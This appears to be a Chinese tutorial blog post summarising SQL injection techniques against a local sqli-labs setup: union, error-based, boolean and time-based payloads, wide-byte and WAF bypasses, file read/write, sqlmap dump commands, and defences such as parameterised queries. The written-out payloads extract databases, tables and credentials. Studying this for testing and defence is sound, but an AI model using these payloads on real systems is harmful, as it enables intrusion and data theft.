sql注入基础之小总结

一. 原理:

当Web应用向后台数据库传递SQL语句进行数据库操作时。如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。

二. 判断注入点

1.判断是否存在注入漏洞:
在参数?id=1后面加上单引号即可,若页面报错,则存在sql注入。无论是字符型还是数字型都会单引号报错,若未报错,不代表没有漏洞,有可能页面对单引号做了转义或写入了不报错代码,可以使用判断语句进行注入
子主题 1
2.判断注入漏洞类型:
数值型
?id=1 and 1=1 页面运行正常
?id=1 and 1=2 页面运行错误
字符型
?id=1’ and 1=1 – - 页面运行正常
?id=1’ and 1=2 – - 页面运行报错
3.测试一个注入点:
and 1=1
and 1=2
and 3-2=1
and 3-1=1
’ " ) ‘) ") ‘)) ")) ` 测出页面异常
’ and 1=1 – -
’ and 1=2 – -
’ and 3-2=1 – -
’ and 3-1=1 – -
4.通过order by 判断列数
5.通过union 判断显示位

6.显示数据库: 1’ union select database(),2 – -
7.用户: 1’ union select user(),2 – -
8.版本: 1’ union select version(),2 – -
9.数据库路径: 1’ union select datadir(),2 – -

三. information数据库

Information_schema数据库
Schemata
schema_name
Tables
table_schema 数据库名
table_name 表名
select table_name from tables where table_schema=‘dvwa’;
select table_name from tables where table_schema=‘security’;
columns
TABLE_SCHEMA 数据库名
TABLE_NAME 表名
COLUMN_NAME 列名
爆数据表
http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = ‘security’ ),3
结果:users
爆字段
http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = ‘security’ and table_name=‘users’ ),3
结果:Username,password
数据拖库
http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3

四. 联合查询

判断有多少列: order by n
判断数据显示点: union select 1,2,3,N
查看数据库基本信息: union select 1,version(),database()

五. 基于报错

extractvalue(arg1,arg2) :
从目标XML中返回包含所查询值的字符串,arg1为是String格式,为XML文档对象的名称。arg2为Xpath格式的字符串。
语句:select extractvalue(1,concat(0x7e,(select user()),0x7e))
返回结果:XPATH syntax error: ‘root@localhost
updatexml(arg1,arg2,arg3):
改变文档中符合条件的节点的值,arg1位xml文档对象的名称,arg2为xpath格式的字符串,arg3,String格式,替换查找到的符合条件的数据。
语句:select updatexml(1,concat(0x7e,(select user()),0x7e),1)
返回结果:XPATH syntax error: ‘root@localhost
floor(arg1):
函数只返回arg1整数部分,小数部分舍弃。
语句:select 1,(select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a),3
返回结果:Duplicate entry ‘root@localhost1’ for key ‘group_key’
注意点:
Extractvalue() updatexml()有32位长度限制,报错函数有mysql版本限制
查看数据库名字:
1’ and extractvalue(1,concat(0x7e,(select database()),0x7e))#
查看数据库有哪些表
1’ and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))#
查看表里面有哪些列名
1’ and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name=表名),0x7e))
查看表里面的数据
1’ and extractvalue(1,concat(0x7e,(select 列名 from 表名),0x7e))

六. 布尔注入

1.判断数据库长度:
and (length(database()))>5
2.判断数据库名字:
and (ascii(substr(database(),n,1)))>67
3.获取数据库表名数量:
and (select count(*) from information_schema.tables where table_schema=database())>5
4.获取数据库表名长度:
and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>5
5.获取数据库表名名字:
and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),0,1)))>100

七. 时间注入

判断是否能时间注入:and sleep(5)
判断数据使用if函数: and if((length(database()))>5),sleep(5),0)

八. 二次解码注入

url编码是一种浏览器用来打包表单输入的格式。url编码就是一个字符ascii码的十六进制。不过稍微有些变动,需要在前面加上“%”。比如“\”,它的ascii码是92,92的十六进制是5c,所以“\”的url编码就是%5c。
假设用户输入的字符串被进行了转换,就依然可能存在该漏洞。通常我们在Web程序都会使用参数过滤的方式来进行防护。比如:使用addslashes()函数,mysql_real_escape_string(),mysql_escape_string()函数或者开启GPC方式来防止注入,也就是给单引号(’),("),等加上反斜杠转义。但是,假如程序中某处使用了urldecode或者rawurldecode函数,则会导致二次解码生成单引号从而引发注入漏洞的产生。

九. 读写文件

secure_file_priv= 代表对文件读写没有限制
secure_file_priv=NULL 代表不能进行文件读写
secure_file_priv=d:/phpstudy/mysql/data 代表只能对该路径下文件进行读写
读文件:
load_file()
作用:

  1. 读取敏感配置 (需要你知道路径)
  2. 读取网络文件 (间接回显盲注数据 带外攻击 dns http)

写文件:
Into Outfile
into Dumpfile 写二进制文件使用

十. 宽字节注入

使用gbk编码绕过:
在使用PHP连接MySQL的时候,当设置set character_set_client=gbk时会导致一个编码转换注入问题,也就是宽字节注入。那么,宽字节注入到底是如何实现的?当存在宽字节注入漏洞时,在注入的参数里加入%df%27,即可把程序中过滤的""(即%5c)“吃掉”。
如果想避免宽字节注入的产生,应当限定使用mysql_set_charset(GBK)来指定字符集,并且使用mysql_real_escape_string进行转义。

十一. waf绕过

waf分类:
软件waf
硬件waf
代码waf
云waf
大小写绕过,windows系统不区分大小写: uNIoN sELecT 1,2,3,4
双写绕过: selselectect 1,2,3,4
使用编码: %55nion %53elect 1,2,3,4
使用注释: union/**/select 1,2,3,4 
等价函数或命令: @@datadir ==> datadir()
使用特殊符号: select+id+from users

十二. 防御方案

1.GPC/RUNTIME魔术引号:
通常数据污染有两种方式,一种是应用被动接受参数,类似于GET,POST等;还有一种是主动获取参数,类似于读取远程页面或者文件内容等。所以防止SQL注入的方法就是要守住这两条路。
magic_quotes_gpc负责对GET,POST,COOKIE的值进行过滤,magic_quotes_runtime对从数据库或者文件中获取的数据进行过滤。通常在开启这两个选项之后能防住部分SQL注入漏洞被利用,因为我们之前也介绍了,在某些环境下存在绕过,在INT型注入上是没有多大作用的。
2.过滤函数和类:
在PHP5.4之前,可以利用魔术引号来解决部分SQL注入的问题。而GPC在面对INT型注入时,也无法进行很好的防御。所以在通常的工作场景中,用得多的还是过滤函数和类。不过如果单纯的过滤函数写得不够严谨,也会出现绕过的情况。这时候可以使用预编译语句来绑定变量,一般情况下这是防御SQL注入的最佳方式。
常用过滤函数:
addslashes函数
mysql[real]escape_string函数
intval等字符转换
3.设计输入验证和处理策略:
输入验证是一种在保护应用程序安全方面很有用的工具。不过,他只能作为深度防御策略(包含多个防护层以保护应用程序的总体安全)的一个子部分。
在应用程序输入层使用白名单输入验证以便验证所有用户输入都符合应用要接收的内容。应用只允许接收符合期望格式的输入
在客户端浏览器上同样执行白名单输入验证,这样可以防止为用户输入不可接收的数据时服务器和浏览器的往返传递。不能将该操作作为安全控制手段,因为攻击者可以修改来自用户浏览器的所有数据。
在Web应用防火墙(WAF)层使用黑名单和白名单输入验证(以漏洞“签名”和“有经验”行为的形式)以便提供入侵检测/阻止功能和监控应用攻击。
在应用程序中自始自终地使用参数化语句以保证执行安全地SQL执行。
在数据库中使用编码技术以便在动态SQL中使用输入时安全地对其编码。
在使用从数据库中提取数据之前恰当地对其进行编码。例如将浏览器中显示的数据针对跨站脚本进行编码。

十三. sqlmap

SQLmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,其广泛的功能和选项包括数据库指纹,枚举,数据库提权,访问目标文件系统,并在获取完全操作权限时实行任意命令。
当给sqlmap这么一个url的时候,它会:
检测网站是否能够访问
检测是否有waf
判断可注入的参数
判断可以用那种SQL注入技术来注入
识别出哪种数据库
根据用户输入的参数,进行操作
sqlmap支持的数据库有12种:
MySQL, Oracle, PostgreSQL
Microsoft SQL Server, Microsoft Access, IBM DB2,
SQLite, Firebird, Sybase,SAP MaxDB,informix,HsqlDB
如果你想观察sqlmap对一个点是进行了怎样的尝试判断以及读取数据的,可以使用-v参数。共有七个等级,默认为1:
0、只显示python错误以及严重的信息。
1、同时显示基本信息和警告信息。(默认)
2、同时显示debug信息。
3、同时显示注入的payload。
4、同时显示HTTP请求。
5、同时显示HTTP响应头。
6、同时显示HTTP响应页面。
查看信息:
判断是否有注入:
sqlmap –u “http://127.0.0.1/test.php?id=1”
查看所有数据库:
sqlmap –u “http://127.0.0.1/test.php?id=1” --dbs
查看当前使用的数据库:
sqlmap –u “http://127.0.0.1/test.php?id=1” --current-db
查看数据表:
sqlmap –u “http://127.0.0.1/test.php?id=1” -D sqlinject --tables
查看列名:
sqlmap –u “http://127.0.0.1/test.php?id=1” -D sqlinject -T admin --columns
查看数据:
sqlmap –u “http://127.0.0.1/test.php?id=1” -D sqlinject -T admin --dump

十四. sql注入过程中后台数据库类型的三种判断方式

1.通过页面返回的报错信息,一般情况下页面报错会显示是什么数据库类型,在此不多说;
2.通过各个数据库特有的数据表来判断:
mssql数据库
http://127.0.0.1/test.php?id=1 and (select count() from sysobjects)>0 and 1=1
access数据库
http://127.0.0.1/test.php?id=1 and (select count(
) from msysobjects)>0 and 1=1
mysql数据库(mysql版本在5.0以上)
http://127.0.0.1/test.php?id=1 and (select count() from information_schema.TABLES)>0 and 1=1
oracle数据库
http://127.0.0.1/test.php?id=1 and (select count(
) from sys.user_tables)>0 and 1=1
3.通过各数据库特有的连接符判断数据库类型:
mssql数据库
http://127.0.0.1/test.php?id=1 and ‘1’ + ‘1’ = ‘11’
mysql数据库
http://127.0.0.1/test.php?id=1 and ‘1’ + ‘1’ = ‘11’
http://127.0.0.1/test.php?id=1 and CONCAT(‘1’,‘1’)=‘11’
oracle数据库
http://127.0.0.1/test.php?id=1 and ‘1’||‘1’=‘11’
http://127.0.0.1/test.php?id=1 and CONCAT(‘1’,‘1’)=‘11’

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值